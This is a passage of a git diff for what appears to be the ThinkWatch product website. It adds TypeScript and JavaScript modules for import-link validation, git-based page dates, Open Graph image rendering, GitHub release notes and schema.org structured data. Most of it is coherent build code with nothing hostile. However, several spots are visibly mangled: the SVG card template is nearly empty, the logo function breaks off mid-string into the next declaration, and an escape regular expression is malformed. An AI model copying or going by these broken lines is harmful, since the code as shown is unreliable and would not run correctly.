(multiplier !== undefined || rawPrices !== undefined) { + // A price sheet is chosen only for per-token billing + if ((billing ?? rules.billing) === "free") return fail("notApplicable", multiplier !== undefined ? "price_multiplier" : "prices"); + if (multiplier !== undefined && !checkMultiplier(multiplier)) return fail("invalid", "price_multiplier"); + let prices: Price[] = []; + if (rawPrices !== undefined) { + const p = checkPrices(rawPrices); + if (!p) return fail("invalid", "prices"); + prices = p; + } + priceSheet = { multiplier: multiplier ?? "1", prices }; + } + + // The parameters handed to the app, normalized, in link order + for (const p of PARAMS) { + const v = get(p); + if (v === undefined) continue; + if (p === "url") put(p, url!.url); + else if (p === "oauth_endpoint") put(p, oauth!.endpoint); + else if (p === "headers") put(p, headers.map((h) => `${h.name}: ${h.value}`).join(LF)); + else if (p === "models") put(p, models.join(",")); + else if (p === "models_only") put(p, modelsOnly!.join(",")); + else put(p, v); + } + + const hosts: string[] = []; + const plainHosts: string[] = []; + for (const u of [address, oauth?.endpoint]) { + if (!u) continue; + const host = new URL(u).host; + if (!hosts.includes(host)) hosts.push(host); + if (plainHttp(u) && !plainHosts.includes(host)) plainHosts.push(host); + } + + const link: ImportLink = { + service, + recognized, + auth, + site, + name, + address, + hosts, + plainHosts, + protocol, + region, + key, + oauth, + aws, + headers, + clientIdentity: clientIdentity === "on", + concurrency, + balance: balance as Balance | undefined, + models, + modelsOnly, + specs, + billing: billing as Billing | undefined, + priceSheet, + v2: out.some(([p]) => !V1_PARAMS.includes(p)), + params: out, + }; + if (APP_PREFIX.length + encode(link, unknown).length > MAX_LINK) return fail("tooLong"); + return { ok: true, link, unknown }; +} + +/** + * The parameters of a validated import, encoded, in a fixed order. Parameters this + * copy does not know are passed on after them, re-encoded, for a newer app to read. + */ +export function encode(l: ImportLink, unknown: [string, string][] = []): string { + return [...l.params, ...unknown].map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join("&"); +} + +/** The link that opens the app. Built only from checked values. */ +export function appLink(l: ImportLink, unknown: [string, string][] = []): string { + return `${APP_PREFIX}${encode(l, unknown)}`; +} + +/** The web form: the parameters stay in the fragment, which browsers do not send to the server. */ +export function webLink(l: ImportLink, origin = "https://thinkwat.ch"): string { + return `${origin}/import#${encode(l)}`; +} + +/** A parameter name is shown to people only when it is short and plain. */ +export const showableParam = (name: string | undefined): name is string => !!name && /^[a-z0-9_]{1,32}$/.test(name); diff --git a/src/lib/lastmod.ts b/src/lib/lastmod.ts new file mode 100644 index 0000000..c0a41a1 --- /dev/null +++ b/src/lib/lastmod.ts @@ -0,0 +1,153 @@ +// When a page last changed, taken from git history: the last commit that +// touched any of the files the page is built from. Used for in the +// sitemap and for the dates on documentation articles. Pages that show a +// product's latest release also change when it is released; the sitemap adds +// those dates (see pageReleases() and astro.config.mjs). +// +// A build time would claim that every page changed on every build, so without +// history (a shallow clone, no git) the dates are left out instead. The deploy +// workflow checks out the full history for this. +import { execFileSync } from "node:child_process"; +import { existsSync } from "node:fs"; +import { coreDocs, snapshotPath } from "./core-docs.mjs"; +import type { Product } from "./releases.mjs"; + +interface FileDates { + /** First commit that touched the file, as an ISO timestamp */ + first: string; + /** Last commit that touched the file, as an ISO timestamp */ + last: string; +} + +let history: Map | undefined; + +function readHistory(): Map { + const files = new Map(); + try { + const git = (...args: string[]) => execFileSync("git", args, { encoding: "utf8", maxBuffer: 64 * 1024 * 1024 }); + if (git("rev-parse", "--is-shallow-repository").trim() === "true") { + console.warn("[lastmod] shallow clone: page dates are left out"); + return files; + } + // Newest commit first: the first date seen for a file is its last change, + // and each older one moves its first change back. + for (const commit of git("log", "--format=%x00%cI", "--name-only").split("\0").slice(1)) { + const [date, ...paths] = commit.trim().split("\n"); + const iso = new Date(date).toISOString(); + for (const path of paths) { + if (!path) continue; + const known = files.get(path); + if (known) known.first = iso; + else files.set(path, { first: iso, last: iso }); + } + } + } catch (err) { + console.warn(`[lastmod] no git history: ${err instanceof Error ? err.message : err}`); + } + return files; +} + +/** Dates of every committed file under the given files or folders, relative to the project root. */ +function datesOf(paths: string[]): FileDates[] { + history ??= readHistory(); + const found: FileDates[] = []; + for (const [file, dates] of history) { + if (paths.some((p) => file === p || file.startsWith(`${p}/`))) found.push(dates); + } + return found; +} + +/** When any of the given files or folders last changed, or undefined without history. */ +export function lastModified(paths: string[]): string | undefined { + return datesOf(paths).reduce((max, d) => (!max || d.last > max ? d.last : max), undefined); +} + +/** When the first of the given files or folders was added, or undefined without history. */ +export function firstPublished(paths: string[]): string | undefined { + return datesOf(paths).reduce((min, d) => (!min || d.first < min ? d.first : min), undefined); +} + +/** A page's language and its path without the language prefix, e.g. "/zh-CN/lite" → "/lite" */ +function splitPath(pathname: string): { lang: "en" | "zh-CN"; path: string } { + const zh = pathname === "/zh-CN" || pathname.startsWith("/zh-CN/"); + return { lang: zh ? "zh-CN" : "en", path: zh ? pathname.slice("/zh-CN".length) || "/" : pathname }; +} + +/** + * The files a page is built from, by its path (without a trailing slash). Only + * the content counts: the page's copy and its own components, not the shared + * layout, header or footer. + */ +export function pageSources(pathname: string): string[] { + const { lang, path } = splitPath(pathname); + // A doc without a translation is shown in English. + const doc = (dir: string, slug: string) => { + const own = `src/content/${dir}/${lang}/${slug}.md`; + return [existsSync(own) ? own : `src/content/${dir}/en/${slug}.md`]; + }; + + switch (path) { + case "/": + return [ + "src/components/pages/HomePage.astro", + "src/components/home", + "src/i18n/pages/home.ts", + // Components the home sections are built from. + "src/components/hero", + "src/components/ui/Terminal.tsx", + "src/components/mocks", + "src/components/LiteDownload.astro", + "src/components/CopyCommand.astro", + ]; + case "/lite": + return ["src/components/pages/LitePage.astro", "src/i18n/pages/lite.ts", "src/components/LiteDownload.astro", "public/lite"]; + case "/core": + return ["src/components/pages/CorePage.astro", "src/i18n/pages/core.ts", "src/components/CopyCommand.astro"]; + case "/thinkwatch": + return [ + "src/components/pages/ThinkWatchPage.astro", + "src/i18n/pages/thinkwatch.ts", + "src/components/sections", + "src/components/mocks", + // The sections below the hero still read their copy from the shared dictionary. + "src/i18n/index.ts", + ]; + case "/pricing": + return ["src/components/pages/PricingPage.astro", "src/i18n/pages/pricing.ts"]; + case "/changelog": + return ["src/components/pages/ChangelogPage.astro", "src/i18n/pages/changelog.ts", "src/content/changelog"]; + case "/docs": + return ["src/pages/docs/_DocsHome.astro", "src/content/docs/_meta.ts"]; + } + const product = path.match(/^\/docs\/(lite|core)(?:\/([^/]+))?$/); + // A Core document published from the Core repository: its committed copy. + const synced = product?.[1] === "core" && coreDocs.find((d) => d.slug === product[2]); + if (synced) return [snapshotPath(synced.files[lang])]; + if (product) return doc(`docs-${product[1]}`, product[2] ?? "overview"); + const guide = path.match(/^\/docs\/([^/]+)$/); + if (guide) return doc("docs", guide[1]); + return []; +} + +/** + * The products whose releases a page is built from, by its path (without a + * trailing slash): the version and downloads of the latest release, in the + * page itself or in its structured data, or the list of releases on the + * changelog. A release changes such a page as much as a commit does. + */ +export function pageReleases(pathname: string): Product[] { + switch (splitPath(pathname).path) { + case "/": + // The Lite download button, and the structured data of all three products. + return ["enterprise", "lite", "core"]; + case "/lite": + return ["lite"]; + case "/core": + return ["core"]; + case "/thinkwatch": + return ["enterprise"]; + case "/changelog": + return ["enterprise", "lite", "core"]; + } + return []; +} diff --git a/src/lib/og.ts b/src/lib/og.ts new file mode 100644 index 0000000..408f1ba --- /dev/null +++ b/src/lib/og.ts @@ -0,0 +1,262 @@ +// Open Graph images: a 1200×630 card for the site and one for each product, +// rendered at build time by src/pages/og/[card].png.ts. The same cards at +// GitHub's size are the social previews of the repositories (at the end of +// this file). +// +// A card carries the product name, the headline of the product's page and the +// platforms the product runs on, and nothing else. The text comes from the page +// copy, so a card changes when its page does. Cards are drawn in English (the +// name and platforms are the same in both languages); og:image:alt gives the +// same text in the page's language, without repeating what the headline says. +// +// Text is drawn as outlines from the Geist font files in node_modules, so the +// image does not depend on the fonts installed on the machine that builds it: +// the same commit gives the same card locally and in CI. +import { readFileSync } from "node:fs"; +import { createRequire } from "node:module"; +import { join } from "node:path"; +import { create, type Font } from "fontkit"; +import sharp from "sharp"; +import { getProduct, productName, type ProductId } from "~/content/docs/_meta"; +import type { Lang } from "~/i18n"; +import { coreCopy } from "~/i18n/pages/core"; +import { homeCopy } from "~/i18n/pages/home"; +import { liteCopy } from "~/i18n/pages/lite"; +import { thinkwatchCopy } from "~/i18n/pages/thinkwatch"; + +export const ogCards = ["home", "lite", "core", "enterprise"] as const; +export type OgCard = (typeof ogCards)[number]; + +export const OG_WIDTH = 1200; +export const OG_HEIGHT = 630; + +export const ogImagePath = (card: OgCard) => `/og/${card}.png`; + +/** The card each product's documentation is shared with */ +export const docsOgCard: Record = { thinkwatch: "enterprise", lite: "lite", core: "core" }; + +interface CardText { + name: string; + line: string; + labels: string[]; +} + +/** Where each product runs. The site card lists the products instead. */ +const platforms: Record, Record> = { + lite: { en: ["macOS", "Windows", "Linux"], "zh-CN": ["macOS", "Windows", "Linux"] }, + core: { en: ["Linux server", "macOS", "Windows"], "zh-CN": ["Linux 服务器", "macOS", "Windows"] }, + enterprise: { en: ["Docker Compose", "Kubernetes"], "zh-CN": ["Docker Compose", "Kubernetes"] }, +}; + +export function cardText(card: OgCard, lang: Lang): CardText { + switch (card) { + case "home": { + const c = homeCopy[lang]; + return { + name: "ThinkWatch", + line: `${c.h1a} ${c.h1b}`, + labels: (["thinkwatch", "lite", "core"] as const).map((id) => productName(getProduct(id), lang)), + }; + } + case "lite": + return { name: "ThinkWatch Lite", line: headline(liteCopy[lang].hero), labels: platforms.lite[lang] }; + case "core": + return { name: "ThinkWatch Core", line: headline(coreCopy[lang].hero), labels: platforms.core[lang] }; + case "enterprise": + return { + name: productName(getProduct("thinkwatch"), lang), + line: headline(thinkwatchCopy[lang].hero), + labels: platforms.enterprise[lang], + }; + } +} + +/** A product page's h1, which is split in two for the highlight */ +const headline = (hero: { titleA: string; titleHighlight: string }) => `${hero.titleA}${hero.titleHighlight}`; + +/** + * og:image:alt: the card's text, in the page's language. Labels the headline + * already names are said once: the Lite headline lists the platforms itself. + */ +export function ogImageAlt(card: OgCard, lang: Lang): string { + const { name, line, labels } = cardText(card, lang); + const named = line.toLowerCase(); + const rest = labels.filter((label) => !named.includes(label.toLowerCase())); + const zh = lang === "zh-CN"; + const text = zh ? `${name}:${line}` : `${name}: ${line}`; + if (!rest.length) return text; + return zh ? `${text}(${rest.join("、")})` : `${text} (${rest.join(", ")})`; +} + +// ---------- Rendering ---------- + +// Resolved from the project root: the endpoint runs from a bundled chunk. +const require = createRequire(join(process.cwd(), "package.json")); +const fonts = new Map(); + +function font(file: string): Font { + let f = fonts.get(file); + if (!f) { + f = create(readFileSync(require.resolve(file))) as Font; + fonts.set(file, f); + } + return f; +} + +const sans = (weight: 400 | 600) => font(`@fontsource/geist/files/geist-latin-${weight}-normal.woff2`); +const mono = () => font("@fontsource/geist-mono/files/geist-mono-latin-400-normal.woff2"); + +/** Width of a run of text in pixels, with `tracking` pixels added between glyphs */ +function measure(f: Font, text: string, size: number, tracking = 0): number { + const run = f.layout(text); + const scale = size / f.unitsPerEm; + const advance = run.positions.reduce((sum, p) => sum + p.xAdvance * scale, 0); + return advance + tracking * Math.max(0, run.glyphs.length - 1); +} + +/** SVG path data for a run of text whose baseline starts at (x, y) */ +function outline(f: Font, text: string, size: number, x: number, y: number, tracking = 0): string { + const run = f.layout(text); + const scale = size / f.unitsPerEm; + let d = ""; + run.glyphs.forEach((glyph, i) => { + const p = run.positions[i]; + d += glyph.path.scale(scale, -scale).translate(x + p.xOffset * scale, y - p.yOffset * scale).toSVG(); + x += p.xAdvance * scale + tracking; + }); + return d; +} + +/** Greedy word wrap */ +function wrap(f: Font, text: string, size: number, width: number): string[] { + const lines: string[] = []; + let line = ""; + for (const word of text.split(" ")) { + const next = line ? `${line} ${word}` : word; + if (line && measure(f, next, size) > width) { + lines.push(line); + line = word; + } else { + line = next; + } + } + if (line) lines.push(line); + return lines; +} + +const colors = { + bg: "#08090a", + text: "#f7f8f8", + sub: "#c3c7ce", + brand: "#22e5f2", + brand2: "#f05cd8", + dim: "#7a808a", + grid: "#ffffff", +}; + +/** The logo, placed as a nested SVG */ +function logo(x: number, y: number, size: number): string { + const svg = readFileSync(join(process.cwd(), "public", "favicon.svg"), "utf8"); + return svg.replace(" renderCard(cardText(card, "en"), OG_WIDTH, OG_HEIGHT, card); + +/** A card of `W`×`H` pixels. `card` names it in errors. */ +async function renderCard({ name, line, labels }: CardText, W: number, H: number, card: string): Promise { + const X = 80; + const width = W - 2 * X; + + // Name: shrink only if a longer name ever needs it. Its baseline is a little + // above the middle: 304 on a 630-pixel card. + let nameSize = 88; + while (measure(sans(600), name, nameSize, -0.025 * nameSize) > width) nameSize -= 2; + const nameY = Math.round(H * 0.4825); + + // Headline: at most two lines, smaller type before a third line. + let lineSize = 38; + let lines = wrap(sans(400), line, lineSize, width); + while (lines.length > 2 && lineSize > 30) { + lineSize -= 2; + lines = wrap(sans(400), line, lineSize, width); + } + if (lines.length > 2) throw new Error(`[og] the headline of "${card}" does not fit on the card: ${line}`); + const lineY = nameY + 70; + const lineGap = Math.round(lineSize * 1.32); + + // Labels along the bottom, separated by middle dots. + const labelSize = 26; + const labelY = H - 76; + const sep = " · "; + let labelX = X; + let labelPath = ""; + let sepPath = ""; + labels.forEach((label, i) => { + if (i > 0) { + sepPath += outline(mono(), sep, labelSize, labelX, labelY); + labelX += measure(mono(), sep, labelSize); + } + labelPath += outline(mono(), label, labelSize, labelX, labelY); + labelX += measure(mono(), label, labelSize); + }); + if (labelX > X + width) throw new Error(`[og] the labels of "${card}" do not fit on the card`); + + // Background as on the site: near black, a cyan glow from the top left and a + // magenta one from the top right, and the faint grid fading out towards the edges. + const svg = ` + + + + + + + + + + + + + + + + + + + + + + + ${logo(X, 72, 72)} + + ${lines.map((l, i) => ``).join("\n ")} + + +`; + + return sharp(Buffer.from(svg)).png({ compressionLevel: 9 }).toBuffer(); +} + +// ---------- GitHub ---------- + +// Social preview images for the repositories on GitHub, rendered at build time +// by src/pages/og/github/[card].png.ts. GitHub has no API for them: each is +// uploaded by hand from /og/github/.png, under Settings → General → +// Social preview of its repository. They are the site's cards at the size +// GitHub recommends, with a line that says what the repository holds, after +// its description on GitHub (the organization's, for the profile repository). + +const GITHUB_WIDTH = 1280; +const GITHUB_HEIGHT = 640; + +/** The repository each card is uploaded to, and the line under the name */ +const githubCards: Record = { + home: { repo: ".github", line: "AI gateways for organizations and individual developers" }, + lite: { repo: "ThinkWatch-Lite", line: "Desktop app for a local AI API gateway" }, + core: { repo: "ThinkWatch-Core", line: "Rust crates and the twcore binary for an AI API gateway" }, + enterprise: { repo: "ThinkWatch", line: "AI bastion host for secure AI API and MCP access" }, +}; + +export function renderGithubPreview(card: OgCard): Promise { + const { name, labels } = cardText(card, "en"); + return renderCard({ name, line: githubCards[card].line, labels }, GITHUB_WIDTH, GITHUB_HEIGHT, `github/${card}`); +} diff --git a/src/lib/release-notes.ts b/src/lib/release-notes.ts new file mode 100644 index 0000000..efe8f71 --- /dev/null +++ b/src/lib/release-notes.ts @@ -0,0 +1,177 @@ +// The content collection of the notes published with each release on GitHub, +// shown on the changelog under their release. Read at build time, rendered with +// the site's markdown settings. +// +// English: the release's own notes, without what GitHub and the release +// workflows add around them (the download table, the generated list of pull +// requests, Enterprise's image and Helm preamble). Chinese: ThinkWatch Lite's +// annotated tags carry the notes in Chinese (the text its update window shows), +// read through the GraphQL API, which needs GITHUB_TOKEN. Core and Enterprise +// have English notes only. +// +// Entry ids are "/-", lang "en" or "zh-cn". When GitHub +// cannot be reached the collection is left without those notes and the +// changelog links to GitHub as before. +import type { Loader, LoaderContext } from "astro/loaders"; +import { githubHeaders, productRepos, type Product } from "./releases.mjs"; + +/** Products whose annotated tags hold the notes in Chinese */ +const CHINESE_TAGS: Product[] = ["lite"]; + +/** A warning in the build log, and on the pull request when the build runs in GitHub Actions */ +function warn(logger: LoaderContext["logger"], text: string) { + logger.warn(text); + if (process.env.GITHUB_ACTIONS === "true") console.log(`::warning title=Release notes::${text}`); +} + +const message = (err: unknown) => (err instanceof Error ? err.message : String(err)); + +/** The notes of every published release of one product, by tag */ +async function fetchReleaseBodies(product: Product): Promise> { + const repo = productRepos[product]; + const bodies = new Map(); + for (let page = 1; ; page++) { + const res = await fetch(`https://api.github.com/repos/${repo}/releases?per_page=100&page=${page}`, { + headers: githubHeaders(), + signal: AbortSignal.timeout(15_000), + }); + if (!res.ok) throw new Error(`GitHub answered ${res.status} for the releases of ${repo}`); + const list: { tag_name: string; body: string | null; draft: boolean; prerelease: boolean }[] = await res.json(); + for (const r of list) if (!r.draft && !r.prerelease && r.body) bodies.set(r.tag_name, r.body); + if (list.length < 100) break; + } + return bodies; +} + +/** The messages of a repository's annotated tags, by tag. Needs a token: GraphQL takes no anonymous calls. */ +async function fetchTagMessages(product: Product): Promise> { + const [owner, name] = productRepos[product].split("/"); + const query = `query($owner: String!, $name: String!, $after: String) { + repository(owner: $owner, name: $name) { + refs(refPrefix: "refs/tags/", first: 100, after: $after) { + pageInfo { hasNextPage endCursor } + nodes { name target { ... on Tag { message } } } + } + } + }`; + type Page = { + data?: { repository: { refs: { pageInfo: { hasNextPage: boolean; endCursor: string }; nodes: { name: string; target: { message?: string } }[] } } }; + errors?: { message: string }[]; + }; + const messages = new Map(); + let after: string | null = null; + for (;;) { + const res = await fetch("https://api.github.com/graphql", { + method: "POST", + headers: { ...githubHeaders(), "Content-Type": "application/json" }, + body: JSON.stringify({ query, variables: { owner, name, after } }), + signal: AbortSignal.timeout(15_000), + }); + if (!res.ok) throw new Error(`GitHub answered ${res.status} for the tags of ${owner}/${name}`); + const json: Page = await res.json(); + if (!json.data) throw new Error(json.errors?.[0]?.message ?? `no tags for ${owner}/${name}`); + const refs = json.data.repository.refs; + for (const n of refs.nodes) if (n.target.message) messages.set(n.name, n.target.message); + if (!refs.pageInfo.hasNextPage) break; + after = refs.pageInfo.endCursor; + } + return messages; +} + +/** + * The part of a release's notes written for readers. Enterprise releases open + * with the images and the Helm command, closed by a rule; Lite and Core + * releases end with the download table, and GitHub may append the list of + * merged pull requests and a comparison link. + */ +export function cleanReleaseBody(body: string): string { + let text = body.replace(/\r\n/g, "\n"); + if (/^## Images\b/.test(text.trimStart())) { + const rule = /^---\s*$/m.exec(text); + if (rule) text = text.slice(rule.index + rule[0].length); + } + const end = text.search(/^(## Downloads\b|## What's Changed\b|\*\*Full Changelog\*\*)/m); + if (end >= 0) text = text.slice(0, end); + return text.trim(); +} + +/** + * A Lite tag message as markdown. The message is plain text: the release's + * name on the first line, paragraphs, and sections that are a short line + * followed directly by "- " items. The name is dropped, such a line becomes a + * heading, and the upgrade notes are set off as they are in the English notes. + */ +export function tagMessageToMarkdown(text: string): string { + const lines = text.replace(/\r\n/g, "\n").trim().split("\n"); + if (/^ThinkWatch\b/.test(lines[0] ?? "")) lines.shift(); + // Plain text: nothing in it is meant as markup + const escape = (s: string) => s.replace(/\\/g, "\\\\").replace(/\*/g, "\\*").replace(/+])/, "\\$1"); + const out = lines.map((line, i) => { + if (line.startsWith("- ")) return `- ${escape(line.slice(2))}`; + const isHeading = + line.trim() !== "" && line.length <= 30 && !/[。,、;:!?.,;:!?]/.test(line) && (lines[i + 1] ?? "").startsWith("- "); + if (isHeading) return `\n### ${escape(line.trim())}`; + // HTML rather than **…**: emphasis that ends in a full-width colon right before a character does not close + return escape(line).replace(/^升级须知:/, "升级须知:"); + }); + return out.join("\n").trim(); +} + +/** + * Every release's headings get ids and anchor links from the site's markdown + * settings; on one page those would repeat ("upgrade-notes" in every release), + * so each release's ids carry its own prefix. + */ +function prefixIds(html: string, prefix: string): string { + return html + .replace(/ id="([^"]+)"/g, (_, id: string) => ` id="${prefix}-${id}"`) + .replace(/ href="#([^"]+)"/g, (_, id: string) => ` href="#${prefix}-${id}"`); +} + +export function releaseNotesLoader(): Loader { + return { + name: "release-notes", + async load({ store, logger, parseData, renderMarkdown, generateDigest }) { + const products = Object.keys(productRepos) as Product[]; + const canReadTags = Boolean(process.env.GITHUB_TOKEN); + const fetched = await Promise.all( + products.map(async (product) => { + const [en, zh] = await Promise.all([ + fetchReleaseBodies(product).catch((err: unknown) => { + warn(logger, `The release notes of ${productRepos[product]} could not be fetched (${message(err)}); its releases link to GitHub instead.`); + return new Map(); + }), + CHINESE_TAGS.includes(product) && canReadTags + ? fetchTagMessages(product).catch((err: unknown) => { + warn(logger, `The tag messages of ${productRepos[product]} could not be fetched (${message(err)}); the Chinese page shows the English notes.`); + return new Map(); + }) + : Promise.resolve(new Map()), + ]); + return { product, en, zh }; + }), + ); + if (!canReadTags) logger.info("No GITHUB_TOKEN: the Chinese changelog shows ThinkWatch Lite's English notes"); + + store.clear(); + for (const { product, en, zh } of fetched) { + const notes: { lang: "en" | "zh-cn"; tag: string; body: string }[] = []; + for (const [tag, raw] of en) notes.push({ lang: "en", tag, body: cleanReleaseBody(raw) }); + for (const [tag, raw] of zh) { + const body = tagMessageToMarkdown(raw); + if (/\p{Script=Han}/u.test(body)) notes.push({ lang: "zh-cn", tag, body }); + // The first Lite tags were annotated in English; with no notes on the release, that is its English note + else if (!cleanReleaseBody(en.get(tag) ?? "")) notes.push({ lang: "en", tag, body }); + } + for (const { lang, tag, body } of notes) { + if (!body) continue; + const id = `${lang}/${product}-${tag}`; + const rendered = await renderMarkdown(body); + rendered.html = prefixIds(rendered.html, `${product}-${tag}`.replace(/[^\w.-]/g, "-")); + const data = await parseData({ id, data: { product, tag, lang: lang === "en" ? "en" : "zh-CN" } }); + store.set({ id, data, body, rendered, digest: generateDigest(body) }); + } + } + }, + }; +} diff --git a/src/lib/releases.mjs b/src/lib/releases.mjs new file mode 100644 index 0000000..13e5d74 --- /dev/null +++ b/src/lib/releases.mjs @@ -0,0 +1,63 @@ +// GitHub releases of the three products, read at build time for the changelog +// and its RSS feed. Plain JavaScript so that scripts/update-releases.mjs can +// use it outside the site build to refresh src/data/releases.json, the copy the +// build falls back to when GitHub cannot be reached (see getReleases() in +// ./github.ts). + +/** @typedef {"enterprise" | "lite" | "core"} Product */ + +/** + * @typedef {object} Release + * @property {Product} product + * @property {string} tag The git tag, e.g. "v0.47.0" + * @property {string} date When the release was published, as an ISO timestamp + * @property {string} url The release page on GitHub + */ + +/** @type {Record} */ +export const productRepos = { + enterprise: "ThinkWatchProject/ThinkWatch", + lite: "ThinkWatchProject/ThinkWatch-Lite", + core: "ThinkWatchProject/ThinkWatch-Core", +}; + +/** Request headers for the GitHub API; GITHUB_TOKEN (set in CI) lifts the anonymous rate limit. */ +export function githubHeaders() { + /** @type {Record} */ + const headers = { + "User-Agent": "thinkwatch-site-build", + Accept: "application/vnd.github+json", + }; + const token = typeof process !== "undefined" ? process.env.GITHUB_TOKEN : undefined; + if (token) headers.Authorization = `Bearer ${token}`; + return headers; +} + +/** + * Every published release of one product, newest first. Drafts and + * pre-releases are left out. Throws when GitHub cannot be reached or answers + * with an error, so that the caller can fall back to the committed copy. + * + * @param {Product} product + * @returns {Promise} + */ +export async function fetchReleases(product) { + const repo = productRepos[product]; + /** @type {Release[]} */ + const releases = []; + for (let page = 1; ; page++) { + const res = await fetch(`https://api.github.com/repos/${repo}/releases?per_page=100&page=${page}`, { + headers: githubHeaders(), + signal: AbortSignal.timeout(15_000), + }); + if (!res.ok) throw new Error(`GitHub answered ${res.status} for the releases of ${repo}`); + /** @type {{ tag_name: string, html_url: string, published_at: string | null, draft: boolean, prerelease: boolean }[]} */ + const list = await res.json(); + for (const r of list) { + if (r.draft || r.prerelease || !r.published_at) continue; + releases.push({ product, tag: r.tag_name, date: r.published_at, url: r.html_url }); + } + if (list.length < 100) break; + } + return releases.sort((a, b) => b.date.localeCompare(a.date)); +} diff --git a/src/lib/structured-data.ts b/src/lib/structured-data.ts new file mode 100644 index 0000000..861aa3f --- /dev/null +++ b/src/lib/structured-data.ts @@ -0,0 +1,240 @@ +// Schema.org descriptions (JSON-LD) of the organization and the three products. +// The product pages and the home page build theirs from here, so a product is +// described the same way wherever it appears. Descriptions and feature lists +// come from the page copy; versions and download links from the latest GitHub +// release, read at build time (left out when GitHub cannot be reached). +// +// Every entity has an @id, the same on the English and the Chinese page, so +// that entities can refer to each other (author → the organization, source +// code → the application built from it). +import { localePath, type Lang } from "~/i18n"; +import { coreCopy } from "~/i18n/pages/core"; +import { liteCopy } from "~/i18n/pages/lite"; +import { thinkwatchCopy } from "~/i18n/pages/thinkwatch"; +import { getLatestCoreRelease, getLatestLiteRelease, getLatestRelease } from "~/lib/github"; +import { ogImagePath } from "~/lib/og"; + +export type JsonLd = Record; + +const SITE = "https://thinkwat.ch"; +const GITHUB = "https://github.com/ThinkWatchProject"; +const MIT = "https://opensource.org/licenses/MIT"; +const CONTEXT = "https://schema.org"; + +const abs = (path: string) => new URL(path, SITE).toString(); +/** A page's canonical URL, with the trailing slash the site is served with */ +const pageUrl = (lang: Lang, path: string) => abs(localePath(lang, path).replace(/\/?$/, "/")); + +const ids = { + organization: `${SITE}/#organization`, + website: `${SITE}/#website`, + enterprise: `${SITE}/thinkwatch/#software`, + lite: `${SITE}/lite/#software`, + liteSource: `${SITE}/lite/#source-code`, + twcore: `${SITE}/core/#twcore`, + coreSource: `${SITE}/core/#source-code`, +}; +/** The organization as an author or publisher: a reference, named for readers that do not follow @id. */ +export const organizationRef: JsonLd = { "@type": "Organization", "@id": ids.organization, name: "ThinkWatch", url: SITE }; +const byOrganization = { author: organizationRef, publisher: organizationRef }; +const free = { "@type": "Offer", price: 0, priceCurrency: "USD" }; + +/** Platforms of the Lite downloads and the prebuilt twcore binaries, which match. */ +const processors: Record = { + en: "Apple silicon (arm64) on macOS; x64 or ARM64 on Windows; x86_64 or aarch64 on Linux", + "zh-CN": "macOS:Apple silicon(arm64);Windows:x64 或 ARM64;Linux:x86_64 或 aarch64", +}; + +/** A description the page copy must provide: a missing one fails the build rather than leaving the field out. */ +function required(value: string | undefined, what: string): string { + if (!value?.trim()) throw new Error(`[structured-data] ${what} is missing`); + return value; +} + +/** On every page. */ +export const organization: JsonLd = { + "@context": CONTEXT, + "@type": "Organization", + "@id": ids.organization, + name: "ThinkWatch", + url: SITE, + logo: `${SITE}/icon.svg`, + sameAs: [ + GITHUB, + `${GITHUB}/ThinkWatch`, + `${GITHUB}/ThinkWatch-Lite`, + `${GITHUB}/ThinkWatch-Core`, + `${GITHUB}/homebrew-tap`, + ], + description: + "ThinkWatch builds AI gateways: ThinkWatch Enterprise for organizations, ThinkWatch Lite for individual developers, and the shared MIT-licensed ThinkWatch Core.", +}; + +/** On the home page. */ +export const website: JsonLd = { + "@context": CONTEXT, + "@type": "WebSite", + "@id": ids.website, + name: "ThinkWatch", + url: SITE, + inLanguage: ["en", "zh-CN"], + publisher: organizationRef, +}; + +/** A page that is not about one product: its title, description and place in the site. */ +export function webPage(lang: Lang, path: string, name: string, description: string): JsonLd { + return { + "@context": CONTEXT, + "@type": "WebPage", + name, + description, + url: pageUrl(lang, path), + inLanguage: lang, + isPartOf: { "@id": ids.website, "@type": "WebSite", name: "ThinkWatch", url: SITE }, + }; +} + +/** ThinkWatch Enterprise, the self-hosted server. */ +export async function enterpriseLd(lang: Lang): Promise { + const tag = await getLatestRelease(); + const url = pageUrl(lang, "/thinkwatch"); + return [ + { + "@context": CONTEXT, + "@type": "SoftwareApplication", + "@id": ids.enterprise, + name: "ThinkWatch Enterprise", + alternateName: "ThinkWatch", + description: thinkwatchCopy[lang].meta.description, + applicationCategory: "DeveloperApplication", + operatingSystem: "Linux, macOS, Windows (via Docker / Kubernetes)", + url, + installUrl: `${url}#quickstart`, + downloadUrl: `${GITHUB}/ThinkWatch/releases/latest`, + ...(tag ? { softwareVersion: tag.replace(/^v/, "") } : {}), + image: abs(ogImagePath("enterprise")), + license: `${GITHUB}/ThinkWatch/blob/main/LICENSE`, + offers: free, + ...byOrganization, + }, + ]; +} + +/** ThinkWatch Lite: the desktop application, and its source code. */ +export async function liteLd(lang: Lang): Promise { + const c = liteCopy[lang]; + const release = await getLatestLiteRelease(); + const url = pageUrl(lang, "/lite"); + const repo = `${GITHUB}/ThinkWatch-Lite`; + // The installers of the latest release: disk image, Windows setup and portable zip, AppImage. + const installers = Object.entries(release?.assets ?? {}) + .filter(([name]) => /(\.dmg|-setup\.exe|-portable\.zip|\.AppImage)$/.test(name)) + .map(([, href]) => href); + // Screenshots in the page's language; the English ones carry "-en", as on LitePage.astro. + // A feature without alt text (plugins) has no screenshot. + const screenshot = c.features.items.flatMap((item) => + "alt" in item + ? [ + { + "@type": "ImageObject", + url: abs(`/lite/${item.id}${lang === "zh-CN" ? "" : "-en"}.webp`), + caption: item.alt, + }, + ] + : [], + ); + return [ + { + "@context": CONTEXT, + "@type": "SoftwareApplication", + "@id": ids.lite, + name: "ThinkWatch Lite", + description: c.meta.description, + applicationCategory: "DeveloperApplication", + operatingSystem: "macOS, Windows, Linux", + processorRequirements: processors[lang], + ...(release ? { softwareVersion: release.tag.replace(/^v/, "") } : {}), + url, + installUrl: `${url}#install`, + downloadUrl: installers.length ? installers : `${repo}/releases/latest`, + image: abs(ogImagePath("lite")), + screenshot, + // The languages of the interface. + inLanguage: ["en", "zh-CN"], + featureList: c.features.items.map((item) => item.title), + license: MIT, + offers: free, + ...byOrganization, + }, + { + "@context": CONTEXT, + "@type": "SoftwareSourceCode", + "@id": ids.liteSource, + name: "ThinkWatch Lite", + description: c.meta.description, + codeRepository: repo, + programmingLanguage: ["TypeScript", "Rust"], + license: MIT, + url, + targetProduct: { "@id": ids.lite }, + author: organizationRef, + }, + ]; +} + +/** ThinkWatch Core: the crates, and the twcore binary built from them. */ 